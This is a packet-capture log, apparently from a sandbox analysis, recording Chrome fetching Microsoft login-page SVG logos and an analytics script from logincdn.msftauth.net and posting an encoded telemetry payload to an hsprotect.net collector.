2025-01-11 00:13:45 UTC	16383	IN	Data Raw: 45 78 63 65 65 64 3a 5b 5d 2c 66 61 69 6c 65 64 45 76 74 73 3a 5b 5d 2c 62 61 74 63 68 65 73 3a 5b 5d 2c 6e 75 6d 45 76 65 6e 74 73 3a 30 2c 72 65 74 72 79 43 6e 74 3a 6e 2c 69 73 54 65 61 72 64 6f 77 6e 3a 65 2c 69 73 53 79 6e 63 3a 74 2c 69 73 42 65 61 63 6f 6e 3a 72 2c 73 65 6e 64 54 79 70 65 3a 6f 2c 73 65 6e 64 52 65 61 73 6f 6e 3a 69 7d 7d 2c 6e 2e 61 70 70 65 6e 64 50 61 79 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 69 29 7b 76 61 72 20 6f 3d 74 26 26 72 26 26 21 74 2e 6f 76 65 72 66 6c 6f 77 3b 72 65 74 75 72 6e 20 6f 26 26 47 72 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 53 65 72 69 61 6c 69 7a 65 72 3a 61 70 70 65 6e 64 50 61 79 6c 6f 61 64 22 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 Data Ascii: Exceed:[],failedEvts:[],batches:[],numEvents:0,retryCnt:n,isTeardown:e,isSync:t,isBeacon:r,sendType:o,sendReason:i}},n.appendPayload=function(t,r,i){var o=t&&r&&!t.overflow;return o&&Gr(e,(function(){return"Serializer:appendPayload"}),(function(){for(var
2025-01-11 00:13:45 UTC	8761	IN	Data Raw: 29 7b 28 62 3d 7b 7d 29 5b 6a 6f 5d 3d 5b 32 2c 31 2c 30 5d 2c 62 5b 57 6f 5d 3d 5b 36 2c 33 2c 30 5d 2c 62 5b 56 6f 5d 3d 5b 31 38 2c 39 2c 30 5d 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 2c 69 3d 6b 3b 50 26 26 28 69 3d 4e 29 2c 57 6e 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 2e 63 6f 75 6e 74 28 29 3e 30 26 26 57 6e 28 65 2e 65 76 65 6e 74 73 28 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 28 65 2e 73 79 6e 63 26 26 28 65 2e 6c 61 74 65 6e 63 79 3d 34 2c 65 2e 73 79 6e 63 3d 21 31 29 2c 65 2e 73 65 6e 64 41 74 74 65 6d 70 74 3c 69 3f 28 7a 72 28 65 2c 6e 2e 69 64 65 6e 74 69 66 69 65 72 29 2c 41 28 65 2c 21 31 29 29 3a 72 2e 70 75 73 68 28 65 29 29 7d 29 29 7d 29 29 2c 72 2e 6c 65 6e 67 74 68 Data Ascii: ){(b={})[jo]=[2,1,0],b[Wo]=[6,3,0],b[Vo]=[18,9,0]}function G(e,t){var r=[],i=k;P&&(i=N),Wn(e,(function(e){e&&e.count()>0&&Wn(e.events(),(function(e){e&&(e.sync&&(e.latency=4,e.sync=!1),e.sendAttempt<i?(zr(e,n.identifier),A(e,!1)):r.push(e))}))})),r.length

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49805	152.199.21.175	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:44 UTC	635	OUT	GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:44 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 25295793 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Sat, 11 Jan 2025 00:13:44 GMT Etag: 0x8DB77257FFE6B4E Last-Modified: Tue, 27 Jun 2023 15:45:14 GMT Server: ECAcc (lhc/793D) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: e98d5e21-301e-0028-71ad-7d9304000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2025-01-11 00:13:44 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49804	152.199.21.175	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:44 UTC	622	OUT	GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:44 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 25295756 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Sat, 11 Jan 2025 00:13:44 GMT Etag: 0x8DB77257C91B168 Last-Modified: Tue, 27 Jun 2023 15:45:09 GMT Server: ECAcc (lhc/7913) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5a38ddb4-801e-0053-2bad-7d4413000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-11 00:13:44 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49811	152.199.21.175	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:45 UTC	400	OUT	GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:46 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 25295795 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Sat, 11 Jan 2025 00:13:46 GMT Etag: 0x8DB77257FFE6B4E Last-Modified: Tue, 27 Jun 2023 15:45:14 GMT Server: ECAcc (lhc/793D) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: e98d5e21-301e-0028-71ad-7d9304000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2025-01-11 00:13:46 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49810	152.199.21.175	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:45 UTC	387	OUT	GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:46 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 25295758 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Sat, 11 Jan 2025 00:13:46 GMT Etag: 0x8DB77257C91B168 Last-Modified: Tue, 27 Jun 2023 15:45:09 GMT Server: ECAcc (lhc/7913) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5a38ddb4-801e-0053-2bad-7d4413000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-11 00:13:46 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49812	152.199.21.175	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:46 UTC	403	OUT	GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:46 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 13014775 Cache-Control: public, max-age=31536000 Content-MD5: Lih+tBiUAIS5IVkMbmcsng== Content-Type: application/x-javascript Date: Sat, 11 Jan 2025 00:13:46 GMT Etag: 0x8DCB8B8BCF38323 Last-Modified: Fri, 09 Aug 2024 21:17:56 GMT Server: ECAcc (lhc/7922) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 85390ee5-001e-0062-515f-ed96e9000000 x-ms-version: 2009-09-19 Content-Length: 90677 Connection: close
2025-01-11 00:13:46 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6f 6e 65 64 73 2d 61 6e 61 6c 79 74 69 63 73 2d 6a 73 5f 30 37 37 32 31 37 37 34 30 63 38 35 33 62 35 64 34 66 65 38 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 69 64 65 6e 74 69 74 79 5f 73 69 73 75 5f 6d 73 61 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 69 64 65 6e 74 69 74 79 5f 73 69 73 75 5f 6d 73 61 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 37 31 5d 2c 7b 32 32 37 38 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 2e 72 28 65 29 2c 74 2e 64 28 65 2c 7b 41 70 70 49 6e 73 69 67 68 74 73 43 6f 72 65 Data Ascii: /! For license information please see oneds-analytics-js_077217740c853b5d4fe8.js.LICENSE.txt /"use strict";(self.webpackChunk_msidentity_sisu_msa=self.webpackChunk_msidentity_sisu_msa\|\|[]).push([[471],{2278:function(n,e,t){t.r(e),t.d(e,{AppInsightsCore
2025-01-11 00:13:46 UTC	1	IN	Data Raw: 72 Data Ascii: r
2025-01-11 00:13:46 UTC	16383	IN	Data Raw: 69 6e 67 22 2c 61 74 3d 22 74 6f 55 54 43 53 74 72 69 6e 67 22 2c 75 74 3d 22 65 78 70 69 72 65 73 22 2c 63 74 3d 6e 75 6c 6c 2c 73 74 3d 6e 75 6c 6c 2c 6c 74 3d 6e 75 6c 6c 2c 66 74 3d 44 65 28 29 2c 64 74 3d 7b 7d 2c 76 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 70 74 28 6e 2c 65 29 7b 76 61 72 20 74 3d 6d 74 2e 5f 63 6b 4d 67 72 7c 7c 76 74 2e 5f 63 6b 4d 67 72 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 6d 74 2e 5f 63 6b 4d 67 72 3d 6d 74 28 6e 2c 65 29 2c 76 74 2e 5f 63 6b 4d 67 72 3d 74 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 6e 29 7b 72 65 74 75 72 6e 21 6e 7c 7c 6e 2e 69 73 45 6e 61 62 6c 65 64 28 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 6e 2c 65 29 7b 72 65 74 75 72 6e 21 21 28 65 26 26 6e 26 26 42 6e 28 6e 2e 69 67 6e 6f 72 65 43 6f 6f 6b Data Ascii: ing",at="toUTCString",ut="expires",ct=null,st=null,lt=null,ft=De(),dt={},vt={};function pt(n,e){var t=mt._ckMgr\|\|vt._ckMgr;return t\|\|(t=mt._ckMgr=mt(n,e),vt._ckMgr=t),t}function gt(n){return!n\|\|n.isEnabled()}function yt(n,e){return!!(e&&n&&Bn(n.ignoreCook
2025-01-11 00:13:46 UTC	16383	IN	Data Raw: 74 65 28 75 29 7d 28 6e 2c 65 2c 74 29 3b 69 7c 7c 28 69 3d 75 29 2c 61 26 26 61 2e 5f 73 65 74 4e 65 78 74 28 75 29 2c 61 3d 75 7d 7d 29 29 7d 72 65 74 75 72 6e 20 72 26 26 21 69 3f 6c 69 28 5b 72 5d 2c 65 2c 74 29 3a 69 7d 66 75 6e 63 74 69 6f 6e 20 66 69 28 29 7b 76 61 72 20 6e 3d 5b 5d 3b 72 65 74 75 72 6e 7b 61 64 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 6e 2e 70 75 73 68 28 65 29 7d 2c 72 75 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 57 6e 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 72 79 7b 6e 28 65 2c 74 29 7d 63 61 74 63 68 28 72 29 7b 72 74 28 65 2e 64 69 61 67 4c 6f 67 28 29 2c 32 2c 37 33 2c 22 55 6e 65 78 70 65 63 74 65 64 20 65 72 72 6f 72 20 63 61 6c 6c 69 6e 67 20 75 6e 6c 6f 61 64 20 68 61 6e 64 6c 65 72 20 2d 20 22 Data Ascii: te(u)}(n,e,t);i\|\|(i=u),a&&a._setNext(u),a=u}}))}return r&&!i?li([r],e,t):i}function fi(){var n=[];return{add:function(e){e&&n.push(e)},run:function(e,t){Wn(n,(function(n){try{n(e,t)}catch(r){rt(e.diagLog(),2,73,"Unexpected error calling unload handler - "
2025-01-11 00:13:46 UTC	2	IN	Data Raw: 72 2e Data Ascii: r.
2025-01-11 00:13:46 UTC	16383	IN	Data Raw: 72 6f 6c 65 56 65 72 2c 74 29 2c 64 29 7d 2c 6e 2e 61 70 70 6c 79 41 49 54 72 61 63 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 3b 69 66 28 74 2e 65 6e 61 62 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 54 72 61 63 65 29 7b 76 61 72 20 72 3d 70 28 29 3b 72 26 26 54 6f 28 32 2c 6e 2c 44 69 2c 28 28 65 3d 7b 7d 29 5b 30 5d 3d 72 2e 67 65 74 54 72 61 63 65 49 64 28 29 2c 65 5b 31 5d 3d 72 2e 67 65 74 4e 61 6d 65 28 29 2c 65 5b 32 5d 3d 72 2e 67 65 74 53 70 61 6e 49 64 28 29 2c 65 29 2c 21 31 29 7d 7d 2c 6e 2e 61 70 70 6c 79 44 69 73 74 72 69 62 75 74 65 64 54 72 61 63 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 2c 74 3d 70 28 29 3b 69 66 28 74 29 7b 76 61 72 20 72 3d 28 28 Data Ascii: roleVer,t),d)},n.applyAITraceContext=function(n){var e;if(t.enableApplicationInsightsTrace){var r=p();r&&To(2,n,Di,((e={})[0]=r.getTraceId(),e[1]=r.getName(),e[2]=r.getSpanId(),e),!1)}},n.applyDistributedTraceContext=function(n){var e,t=p();if(t){var r=((
2025-01-11 00:13:46 UTC	16383	IN	Data Raw: 63 65 65 64 3a 5b 5d 2c 66 61 69 6c 65 64 45 76 74 73 3a 5b 5d 2c 62 61 74 63 68 65 73 3a 5b 5d 2c 6e 75 6d 45 76 65 6e 74 73 3a 30 2c 72 65 74 72 79 43 6e 74 3a 6e 2c 69 73 54 65 61 72 64 6f 77 6e 3a 65 2c 69 73 53 79 6e 63 3a 74 2c 69 73 42 65 61 63 6f 6e 3a 72 2c 73 65 6e 64 54 79 70 65 3a 6f 2c 73 65 6e 64 52 65 61 73 6f 6e 3a 69 7d 7d 2c 6e 2e 61 70 70 65 6e 64 50 61 79 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 69 29 7b 76 61 72 20 6f 3d 74 26 26 72 26 26 21 74 2e 6f 76 65 72 66 6c 6f 77 3b 72 65 74 75 72 6e 20 6f 26 26 47 72 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 53 65 72 69 61 6c 69 7a 65 72 3a 61 70 70 65 6e 64 50 61 79 6c 6f 61 64 22 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d Data Ascii: ceed:[],failedEvts:[],batches:[],numEvents:0,retryCnt:n,isTeardown:e,isSync:t,isBeacon:r,sendType:o,sendReason:i}},n.appendPayload=function(t,r,i){var o=t&&r&&!t.overflow;return o&&Gr(e,(function(){return"Serializer:appendPayload"}),(function(){for(var e=
2025-01-11 00:13:46 UTC	8759	IN	Data Raw: 28 62 3d 7b 7d 29 5b 6a 6f 5d 3d 5b 32 2c 31 2c 30 5d 2c 62 5b 57 6f 5d 3d 5b 36 2c 33 2c 30 5d 2c 62 5b 56 6f 5d 3d 5b 31 38 2c 39 2c 30 5d 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 2c 69 3d 6b 3b 50 26 26 28 69 3d 4e 29 2c 57 6e 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 2e 63 6f 75 6e 74 28 29 3e 30 26 26 57 6e 28 65 2e 65 76 65 6e 74 73 28 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 28 65 2e 73 79 6e 63 26 26 28 65 2e 6c 61 74 65 6e 63 79 3d 34 2c 65 2e 73 79 6e 63 3d 21 31 29 2c 65 2e 73 65 6e 64 41 74 74 65 6d 70 74 3c 69 3f 28 7a 72 28 65 2c 6e 2e 69 64 65 6e 74 69 66 69 65 72 29 2c 41 28 65 2c 21 31 29 29 3a 72 2e 70 75 73 68 28 65 29 29 7d 29 29 7d 29 29 2c 72 2e 6c 65 6e 67 74 68 3e 30 Data Ascii: (b={})[jo]=[2,1,0],b[Wo]=[6,3,0],b[Vo]=[18,9,0]}function G(e,t){var r=[],i=k;P&&(i=N),Wn(e,(function(e){e&&e.count()>0&&Wn(e.events(),(function(e){e&&(e.sync&&(e.latency=4,e.sync=!1),e.sendAttempt<i?(zr(e,n.identifier),A(e,!1)):r.push(e))}))})),r.length>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49817	35.190.10.96	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:47 UTC	649	OUT	POST /api/v2/msft HTTP/1.1 Host: collector-pxzc5j78di.hsprotect.net Connection: keep-alive Content-Length: 612 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: application/x-www-form-urlencoded Accept: / Origin: https://msft.hsprotect.net Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://msft.hsprotect.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:47 UTC	612	OUT	Data Raw: 70 61 79 6c 6f 61 64 3d 61 55 6b 51 52 68 41 49 45 47 46 65 59 41 70 33 63 77 6f 64 56 6e 46 52 44 78 41 65 45 46 59 51 43 45 6b 51 65 46 78 61 59 31 52 31 63 32 52 6b 5a 30 45 50 45 41 67 51 57 6b 5a 47 51 6b 45 49 48 52 31 66 51 56 52 47 48 46 70 42 51 6b 42 64 52 6c 64 52 52 68 78 63 56 30 59 64 57 31 78 57 56 30 6f 63 57 6b 5a 66 58 68 41 65 45 48 39 6b 66 33 70 6b 41 57 4d 45 63 46 39 37 44 78 41 49 41 78 34 51 5a 6c 35 77 42 6e 52 7a 51 52 31 55 63 51 59 50 45 41 67 51 5a 56 74 63 41 51 41 51 48 68 42 38 59 51 70 32 55 77 46 38 66 48 4e 65 51 51 38 51 43 41 49 65 45 48 39 5a 53 6e 64 78 65 6d 4e 62 59 30 68 64 44 78 41 49 41 41 47 59 47 41 5e 68 34 53 51 61 31 68 46 5a 33 31 78 56 6d 52 33 59 7d 33 73 50 45 41 67 42 42 41 49 43 48 68 42 57 64 77 5a Data Ascii: payload=aUkQRhAIEGFeYAp3cwodVnFRDxAeEFYQCEkQeFxaY1R1c2RkZ0EPEAgQWkZGQkEIHR1fQVRGHFpBQkBdRldRRhxcV0YdW1xWV0ocWkZfXhAeEH9kf3pkAWMEcF97DxAIAx4QZl5wBnRzQR1UcQYPEAgQZVtcAQAQHhB8YQp2UwF8fHNeQQ8QCAIeEH9ZSndxemNbY0hdDxAIAAGYGA^h4SQa1hFZ31xVmR3Y}3sPEAgBBAICHhBWdwZ
